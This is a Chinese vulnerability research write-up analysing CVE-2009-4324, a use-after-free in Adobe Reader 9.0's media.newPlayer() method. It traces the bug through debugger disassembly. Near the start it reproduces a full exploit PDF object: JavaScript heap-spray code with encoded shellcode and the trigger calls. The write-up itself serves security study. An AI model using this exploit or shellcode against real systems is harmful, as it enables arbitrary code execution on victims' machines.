漏洞编号:CVE-2009-4324
漏洞类型:UAF
漏洞影响:任意代码执行
漏洞介绍
Adobe Reader和Acrobat阅读器支持JavaScript。Doc.media对象的newplayer()方式存在释放后使用漏洞,可能触发可利用的内存访问破坏。远程攻击者可以通过使用ZLib压缩流的特制PDF文件来利用这个漏洞,导致执行任意代码。
实验环境
Windows XP
Adobe Reader 9.0
漏洞分析
pdf样本分析
样本来自参考资料[5],直接用记事本打开即可看到内容,根目录对象里有一个OpenAction引用的是5号对象
1 0 obj
<< /Type /Catalog /Outlines 2 0 R /Pages 3 0 R /OpenAction 5 0 R >>
endobj
5号对象就是个JS脚本:
5 0 obj
<< /Type /Action /S /JavaScript /JS (
function spray_heap()
{
var chunk_size, payload, nopsled;
chunk_size = 0x8000;
payload = unescape("%uc931%ue983%ud9dd%ud9ee%u2474%u5bf4%u7381%u6f13%ub102%u830e%ufceb%uf4e2%uea93%u0ef5%u026f%u4b3a%u8953%u0bcd%u0317%u855e%u1a20%u513a%u034f%u475a%u36e4%u0f3a%u3381%u9771%u86c3%u7a71%uc368%u037b%uc06e%ufa5a%u5654%u0a95%ue71a%u513a%u034b%u685a%u0ee4%u85fa%u1e30%ue5b0%u1ee4%u0f3a%u8b84%u2aed%uc16b%uce80%u890b%u3ef1%uc2ea%u02c9%u42e4%u85bd%u1e1f%u851c%u0a07%u075a%u82e4%u0e01%u026f%u663a%u5d53%uf880%u540f%uf638%uc2ec%u5eca%u7c07%uec69%u6a1c%uf029%u0ce5%uf1e6%u6188%u62d0%u2c0c%u76d4%u020a%u0eb1");
nopsled = unescape("%u0d0d%u0d0d");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < 1200 ; i++)
heap_chunks[i] = nopsled + payload;
}
function trigger_bug()
{
util.printd("1.000000000000000000000000 : 0000000", new Date());
try {
media.newPlayer(null);
} catch(e) {}
util.printd("1.000000000000000000000000 : 0000000", new Date());
}
spray_heap();
trigger_bug();
) >>
endobj
这里有两个函数被依次调用,一个是堆喷射,这个已经见了好多次了,就不解释了
另一个是触发漏洞的函数,Doc.media对象的newplayer()方法存在UAF漏洞
poc调试
修改shellcode,在前面加上0xCC,然后运行,报错了点调试:成功断在了shellcode里,找上一层函数调用看看是怎么回事
上一层调用:
可以看到,出问题的模块是multmedia.api,这里调用了edx+4的地址,而edx的值来自eax,eax的值是代码里util.printd("1.000000000000000000000000 : 0000000", new Date());
的参数
从eax里取值得到的结果是2E0031:
edx+4这个地址的值正好可以当作是一个高位地址来用,只需要配合堆喷射,让这个地址能被执行
回顾一下漏洞触发的代码:
util.printd("1.000000000000000000000000 : 0000000", new Date());
try {
media.newPlayer(null);
} catch(e) {}
util.printd("1.000000000000000000000000 : 0000000", new Date());
显然,代码里的这个edx的值是可以控制的,那么问题来了,这个printd方法调用的参数为什么会出现在media模块执行的方法中呢?
漏洞调试分析
漏洞类型是UAF,内存是被释放后又被滥用,对于UAF漏洞,通常是一个被释放的东西,在后续访问的时候,仅通过是否为0来判断,导致如果在这之间填入了其他的值,会绕过是否释放的判断,继续执行
首先来找一下这个我们输入的数据是怎么出现的
首先这里是进入shellcode的位置,这里就是通过判断eax是否为0来选择是否跳过下面的执行,接下来去跟进这个函数
.text:2D842D0E E8 98 FB FF FF call sub_2D8428AB
.text:2D842D0E
.text:2D842D13 85 C0 test eax, eax ; eax是上面那个函数的返回值
.text:2D842D15 59 pop ecx
.text:2D842D16 74 17 jz short loc_2D842D2F ; 如果eax返回的值是0,则跳转
.text:2D842D16
.text:2D842D18 8B 10 mov edx, [eax] ; edx来自eax
.text:2D842D1A 8B C8 mov ecx, eax
.text:2D842D1C FF 52 04 call dword ptr [edx+4] ; Trigger
sub_2D8428AB:进去以后,使用参数MediaPlayer_This字符串调用了下一个函数
.text:2D8428AB 68 D8 B6 8C 2D push offset aMediaplayerThi ; "MediaPlayer_This"
.text:2D8428B0 FF 74 24 08 push [esp+4+arg_0] ; 获取偏移
.text:2D8428B4 E8 12 B4 FD FF call sub_2D81DCCB
sub_2D81DCCB:这个函数里的call [eax+23Ch]调用里出现了我们填充的内容,继续跟进
.text:2D81DCCB 55 push ebp
.text:2D81DCCC 8B EC mov ebp, esp
.text:2D81DCCE 83 EC 44 sub esp, 44h
.text:2D81DCD1 8D 45 BC lea eax, [ebp+var_44]
.text:2D81DCD4 68 DA 80 80 2D push offset sub_2D8080DA
.text:2D81DCD9 50 push eax
.text:2D81DCDA A1 B0 E0 91 2D mov eax, dword_2D91E0B0
.text:2D81DCDF FF 50 08 call dword ptr [eax+8]
.text:2D81DCDF
.text:2D81DCE2 8D 45 BC lea eax, [ebp+var_44]
.text:2D81DCE5 6A 00 push 0
.text:2D81DCE7 50 push eax
.text:2D81DCE8 E8 65 3E FE FF call _setjmp3 ; 返回0
.text:2D81DCE8
.text:2D81DCED 83 C4 10 add esp, 10h
.text:2D81DCF0 85 C0 test eax, eax
.text:2D81DCF2 75 20 jnz short loc_2D81DD14
.text:2D81DCF2
.text:2D81DCF4 FF 75 0C push [ebp+arg_4]
.text:2D81DCF7 A1 08 E5 91 2D mov eax, dword_2D91E508
.text:2D81DCFC FF 75 08 push [ebp+arg_0]
.text:2D81DCFF FF 90 3C 02 00 00 call dword ptr [eax+23Ch] ; 返回值出现我们填充的内容,返回到eax地址里,unicode形式
.text:2D81DCFF
.text:2D81DD05 59 pop ecx
.text:2D81DD06 89 45 FC mov [ebp+var_4], eax ; 赋值给ebp+4局部变量
.text:2D81DD09 A1 B0 E0 91 2D mov eax, dword_2D91E0B0
.text:2D81DD0E 59 pop ecx
.text:2D81DD0F FF 50 0C call dword ptr [eax+0Ch]
接下来就进入escriptt.api模块了,通过动态调试跟进拿到地址:sub_2382CA2E:
.text:2382CA2E sub_2382CA2E proc near ; DATA XREF: .data:23925270↓o
.text:2382CA2E
.text:2382CA2E arg_0= dword ptr 4
.text:2382CA2E arg_4= dword ptr 8
.text:2382CA2E
.text:2382CA2E 56 push esi
.text:2382CA2F 8B 74 24 08 mov esi, [esp+4+arg_0]
.text:2382CA33 57 push edi
.text:2382CA34 33 FF xor edi, edi
.text:2382CA36 EB 20 jmp short loc_2382CA58
.text:2382CA36
.text:2382CA38 ; ---------------------------------------------------------------------------
.text:2382CA38
.text:2382CA38 loc_2382CA38: ; CODE XREF: sub_2382CA2E+2C↓j
.text:2382CA38 FF 74 24 10 push [esp+8+arg_4]
.text:2382CA3C FF 76 10 push dword ptr [esi+10h]
.text:2382CA3F E8 46 AF FF FF call sub_2382798A ; 这个call里出现的数据
继续跟进sub_2382798A:
.text:238101E2 8B 4D 08 mov ecx, [ebp+arg_0]
.text:238101E5 8D 55 08 lea edx, [ebp+arg_0]
.text:238101E8 52 push edx ; int
.text:238101E9 FF 75 0C push [ebp+Str1] ; Str1
.text:238101EC 83 E0 0F and eax, 0Fh
.text:238101EF FF 74 81 40 push dword ptr [ecx+eax*4+40h] ; int
.text:238101F3 8D 34 81 lea esi, [ecx+eax*4]
.text:238101F6 FF 36 push dword ptr [esi] ; int
.text:238101F8 E8 7A 86 04 00 call sub_23858877 ; 根据函数名称返回方法索引
.text:238101F8
.text:238101FD 83 C4 18 add esp, 18h
.text:23810200 66 83 7D 08 00 cmp word ptr [ebp+arg_0], 0
.text:23810205 74 08 jz short loc_2381020F
.text:23810205
.text:23810207 8B 0E mov ecx, [esi]
.text:23810209 8B 44 C1 04 mov eax, [ecx+eax*8+4] ; 这里出现填充的数据
.text:2381020D EB 02 jmp short loc_23810211
数据来自[ecx+eax*8+4]
,执行到这里的时候,eax是0,ecx的值是字符串指针,这里最终的结果是指向这个字符串指针的下4字节的内容,正好就是我们填充的数据的指针
后续则一直将获取到eax的值返回,直到最后转到shellcode里
漏洞利用:通过堆喷射布置好shellcode,通过触发漏洞执行到喷射的内存上即可执行,xp上没有DEP,这里则执行shellcode畅通无阻
参考资料
- [1] [原创]分析漏洞CVE-2009-4324-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com
- [2] [原创]Adobe reader 漏洞CVE-2009-4324初步分析-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com
- [3] NVD - CVE-2009-4324 (nist.gov)
- [4] 腾讯反病毒实验室 (qq.com)
- [5] Adobe Reader / Acrobat - '.PDF' File Overflow - Windows local Exploit (exploit-db.com)